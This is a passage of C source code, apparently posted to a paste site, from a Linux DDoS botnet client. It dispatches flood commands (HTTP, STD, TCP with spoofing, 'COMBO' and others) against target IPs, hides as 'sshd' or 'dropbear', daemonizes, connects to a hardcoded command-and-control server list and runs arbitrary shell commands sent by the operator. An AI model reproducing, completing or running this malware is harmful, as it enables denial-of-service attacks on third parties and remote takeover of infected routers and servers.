  2497. unsigned char *hi = (unsigned char *)strtok((char *)argv[1], ",");
  2498. while (hi != NULL) {
  2499. if (!listFork()) {
  2500. sendHTTP((char*)argv[1], (char*)argv[2], atoi((char*)argv[3]), (char*)argv[4], atoi((char*)argv[5]), atoi((char*)argv[6]));
  2501. _exit(0);
  2502. }
  2503. hi = (unsigned char *)strtok(NULL, ",");
  2504. }
  2505. } else {
  2506. if (listFork()) {
  2507. return;
  2508. }
  2509. sendHTTP((char*)argv[1], (char*)argv[2], atoi((char*)argv[3]), (char*)argv[4], atoi((char*)argv[5]), atoi((char*)argv[6]));
  2510. _exit(0);
  2511. }
  2512. }
  2513. if(!strcmp(argv[0], "CNC"))
  2514. {
  2515. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  2516. {
  2517. return;
  2518. }
  2519. unsigned char *ip = argv[1];
  2520. int port = atoi(argv[2]);
  2521. int time = atoi(argv[3]);
  2522. if(strstr(ip, ",") != NULL)
  2523. {
  2524. unsigned char *hi = strtok(ip, ",");
  2525. while(hi != NULL)
  2526. {
  2527. if(!listFork())
  2528. {
  2529. sendCNC(hi, port, time);
  2530. close(D1ckSucka);
  2531. _exit(0);
  2532. }
  2533. hi = strtok(NULL, ",");
  2534. }
  2535. } else {
  2536. if (listFork()) { return; }
  2537. sendCNC(ip, port, time);
  2538. _exit(0);
  2539. }
  2540. }
  2541. if(!strcmp(argv[0], "COMBO"))
  2542. {
  2543. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  2544. {
  2545. return;
  2546. }
  2547. unsigned char *ip = argv[1];
  2548. int port = atoi(argv[2]);
  2549. int time = atoi(argv[3]);
  2550. if(strstr(ip, ",") != NULL)
  2551. {
  2552. unsigned char *hi = strtok(ip, ",");
  2553. while(hi != NULL)
  2554. {
  2555. if(!listFork())
  2556. {
  2557. sendJUNK(hi, port, time);
  2558. sendSTD(hi, port, time);
  2559. sendHOLD(hi, port, time);
  2560. close(D1ckSucka);
  2561. _exit(0);
  2562. }
  2563. hi = strtok(NULL, ",");
  2564. }
  2565. } else {
  2566. if (listFork()) { return; }
  2567. sendJUNK(ip, port, time);
  2568. sendSTD(ip, port, time);
  2569. sendHOLD(ip, port, time);
  2570. _exit(0);
  2571. }
  2572. }
  2573. if(!strcmp(argv[0], "STD"))
  2574. {
  2575. if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
  2576. {
  2577. return;
  2578. }
  2579. unsigned char *ip = argv[1];
  2580. int port = atoi(argv[2]);
  2581. int time = atoi(argv[3]);
  2582. if(strstr(ip, ",") != NULL)
  2583. {
  2584. unsigned char *hi = strtok(ip, ",");
  2585. while(hi != NULL)
  2586. {
  2587. if(!listFork())
  2588. {
  2589. sendSTD(hi, port, time);
  2590. _exit(0);
  2591. }
  2592. hi = strtok(NULL, ",");
  2593. }
  2594. } else {
  2595. if (listFork()) { return; }
  2596. sendSTD(ip, port, time);
  2597. _exit(0);
  2598. }
  2599. }
  2600. if(!strcmp(argv[0], "TCP"))
  2601. {
  2602. if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 32 || (argc > 6 && atoi(argv[6]) < 0) || (argc == 8 && atoi(argv[7]) < 1))
  2603. {
  2604. return;
  2605. }
  2606. unsigned char *ip = argv[1];
  2607. int port = atoi(argv[2]);
  2608. int time = atoi(argv[3]);
  2609. int spoofed = atoi(argv[4]);
  2610. unsigned char *flags = argv[5];
  2611. int pollinterval = argc == 8 ? atoi(argv[7]) : 10;
  2612. int psize = argc > 6 ? atoi(argv[6]) : 0;
  2613. if(strstr(ip, ",") != NULL)
  2614. {
  2615. unsigned char *hi = strtok(ip, ",");
  2616. while(hi != NULL)
  2617. {
  2618. if(!listFork())
  2619. {
  2620. sendTCP(hi, port, time, spoofed, flags, psize, pollinterval);
  2621. _exit(0);
  2622. }
  2623. hi = strtok(NULL, ",");
  2624. }
  2625. } else {
  2626. if (listFork()) { return; }
  2627. sendTCP(ip, port, time, spoofed, flags, psize, pollinterval);
  2628. _exit(0);
  2629. }
  2630. }
  2631. if(!strcmp(argv[0], "STOP"))
  2632. {
  2633. int killed = 0;
  2634. unsigned long i;
  2635. for (i = 0; i < numpids; i++) {
  2636. if (pids[i] != 0 && pids[i] != getpid()) {
  2637. kill(pids[i], 9);
  2638. killed++;
  2639. }
  2640. }
  2641. }
  2642. if(!strcmp(argv[0], "HOODASSSHIT"))
  2643. {
  2644. exit(0);
  2645. }
  2646. }
  2647. int initConnection()
  2648. {
  2649. unsigned char server[4096];
  2650. memset(server, 0, 4096);
  2651. if(D1ckSucka) { close(D1ckSucka); D1ckSucka = 0; }
  2652. if(D1ckSuckaz + 1 == SERVER_LIST_SIZE) D1ckSuckaz = 0;
  2653. else D1ckSuckaz++;
  2654. strcpy(server, hekkertelnet[D1ckSuckaz]);
  2655. int port = Server_Botport;
  2656. if(strchr(server, ':') != NULL)
  2657. {
  2658. port = atoi(strchr(server, ':') + 1);
  2659. *((unsigned char *)(strchr(server, ':'))) = 0x0;
  2660. }
  2661. D1ckSucka = socket(AF_INET, SOCK_STREAM, 0);
  2662. if(!connectTimeout(D1ckSucka, server, port, 30)) return 1;
  2663. return 0;
  2664. }
  2665. int getOurIP()
  2666. {
  2667. int sock = socket(AF_INET, SOCK_DGRAM, 0);
  2668. if(sock == -1) return 0;
  2669. struct sockaddr_in serv;
  2670. memset(&serv, 0, sizeof(serv));
  2671. serv.sin_family = AF_INET;
  2672. serv.sin_addr.s_addr = inet_addr("8.8.8.8");
  2673. serv.sin_port = htons(53);
  2674. int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));
  2675. if(err == -1) return 0;
  2676. struct sockaddr_in name;
  2677. socklen_t namelen = sizeof(name);
  2678. err = getsockname(sock, (struct sockaddr*) &name, &namelen);
  2679. if(err == -1) return 0;
  2680. ourIP.s_addr = name.sin_addr.s_addr;
  2681. int cmdline = open("/proc/net/route", O_RDONLY);
  2682. char linebuf[4096];
  2683. while(fdgets(linebuf, 4096, cmdline) != NULL)
  2684. {
  2685. if(strstr(linebuf, "\t00000000\t") != NULL)
  2686. {
  2687. unsigned char *pos = linebuf;
  2688. while(*pos != '\t') pos++;
  2689. *pos = 0;
  2690. break;
  2691. }
  2692. memset(linebuf, 0, 4096);
  2693. }
  2694. close(cmdline);
  2695. if(*linebuf)
  2696. {
  2697. int i;
  2698. struct ifreq ifr;
  2699. strcpy(ifr.ifr_name, linebuf);
  2700. ioctl(sock, SIOCGIFHWADDR, &ifr);
  2701. for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i];
  2702. }
  2703. close(sock);
  2704. }
  2705. char *getBuild()
  2706. {
  2707. if(access("/usr/bin/python", F_OK) != -1){
  2708. return "SERVER";
  2709. } else {
  2710. return "ROUTER";
  2711. }
  2712. }
  2713. int main(int argc, unsigned char *argv[])
  2714. {
  2715. char *mynameis = "";
  2716. if(access("/usr/bin/python", F_OK) != -1){
  2717. mynameis = "sshd";
  2718. } else {
  2719. mynameis = "/usr/sbin/dropbear";
  2720. }
  2721. if(geteuid() == 0){
  2722. userID = 0;
  2723. }
  2724. char *Buildz = getBuild();
  2725. if(Buildz == "SERVER")
  2726. {
  2727. //If python is installed
  2728. } else {
  2729. //If python is not installed
  2730. }
  2731. if(SERVER_LIST_SIZE <= 0) return 0;
  2732. printf("BUILD %s:%s\n", getBuild(), inet_ntoa(ourIP));
  2733. strncpy(argv[0],"",strlen(argv[0]));
  2734. sprintf(argv[0], mynameis);
  2735. prctl(PR_SET_NAME, (unsigned long) mynameis, 0, 0, 0);
  2736. srand(time(NULL) ^ getpid());
  2737. init_rand(time(NULL) ^ getpid());
  2738. pid_t pid1;
  2739. pid_t pid2;
  2740. int status;
  2741. getOurIP();
  2742. if (pid1 = fork()) {
  2743. waitpid(pid1, &status, 0);
  2744. exit(0);
  2745. } else if (!pid1) {
  2746. if (pid2 = fork()) {
  2747. exit(0);
  2748. } else if (!pid2) {
  2749. } else {
  2750. //N
  2751. }
  2752. } else {
  2753. //N
  2754. }
  2755. setsid();
  2756. chdir("/");
  2757. signal(SIGPIPE, SIG_IGN);
  2758. while(1)
  2759. {
  2760. if(initConnection()) { sleep(5); continue; }
  2761. HackerPrint(D1ckSucka, "\x1b[1;36m Daddy Bot Connected \x1b[1;31m| \x1b[1;37mIP: \x1b[1;35m%s \x1b[1;31m| \x1b[1;37mType: \x1b[1;35m%s \x1b[1;31m| \x1b[1;37mVersion: \x1b[1;35m%s", inet_ntoa(ourIP), getBuild(), VERSION);
  2762. char commBuf[4096];
  2763. int got = 0;
  2764. int i = 0;
  2765. while((got = recvLine(D1ckSucka, commBuf, 4096)) != -1)
  2766. {
  2767. for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {
  2768. unsigned int *newpids, on;
  2769. for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];
  2770. pids[on - 1] = 0;
  2771. numpids--;
  2772. newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
  2773. for (on = 0; on < numpids; on++) newpids[on] = pids[on];
  2774. free(pids);
  2775. pids = newpids;
  2776. }
  2777. commBuf[got] = 0x00;
  2778. trim(commBuf);
  2779. if(strstr(commBuf, "PING") == commBuf)
  2780. {
  2781. HackerPrint(D1ckSucka, "PONG");
  2782. continue;
  2783. }
  2784. if(strstr(commBuf, "DUP") == commBuf) exit(0);
  2785. unsigned char *message = commBuf;
  2786. if(*message == '!')
  2787. {
  2788. unsigned char *nickMask = message + 1;
  2789. while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;
  2790. if(*nickMask == 0x00) continue;
  2791. *(nickMask) = 0x00;
  2792. nickMask = message + 1;
  2793. message = message + strlen(nickMask) + 2;
  2794. while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;
  2795. unsigned char *command = message;
  2796. while(*message != ' ' && *message != 0x00) message++;
  2797. *message = 0x00;
  2798. message++;
  2799. unsigned char *tmpcommand = command;
  2800. while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }
  2801. if(strcmp(command, "") == 0)
  2802. {
  2803. unsigned char buf[1024];
  2804. int command;
  2805. if (listFork()) continue;
  2806. memset(buf, 0, 1024);
  2807. szprintf(buf, "%s 2>&1", message);
  2808. command = fdpopen(buf, "r");
  2809. while(fdgets(buf, 1024, command) != NULL)
  2810. {
  2811. trim(buf);
  2812. memset(buf, 0, 1024);
  2813. sleep(1);
  2814. }
  2815. fdpclose(command);
  2816. exit(0);
  2817. }
  2818. unsigned char *params[10];
  2819. int paramsCount = 1;
  2820. unsigned char *pch = strtok(message, " ");
  2821. params[0] = command;
  2822. while(pch)
  2823. {
  2824. if(*pch != '\n')
  2825. {
  2826. params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);
  2827. memset(params[paramsCount], 0, strlen(pch) + 1);
  2828. strcpy(params[paramsCount], pch);
  2829. paramsCount++;
  2830. }
  2831. pch = strtok(NULL, " ");
  2832. }
  2833. processCmd(paramsCount, params);
  2834. if(paramsCount > 1)
  2835. {
  2836. int q = 1;
  2837. for(q = 1; q < paramsCount; q++)
  2838. {
  2839. free(params[q]);
  2840. }
  2841. }
  2842. }
  2843. }
  2844. }
  2845. return 0;
  2846. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement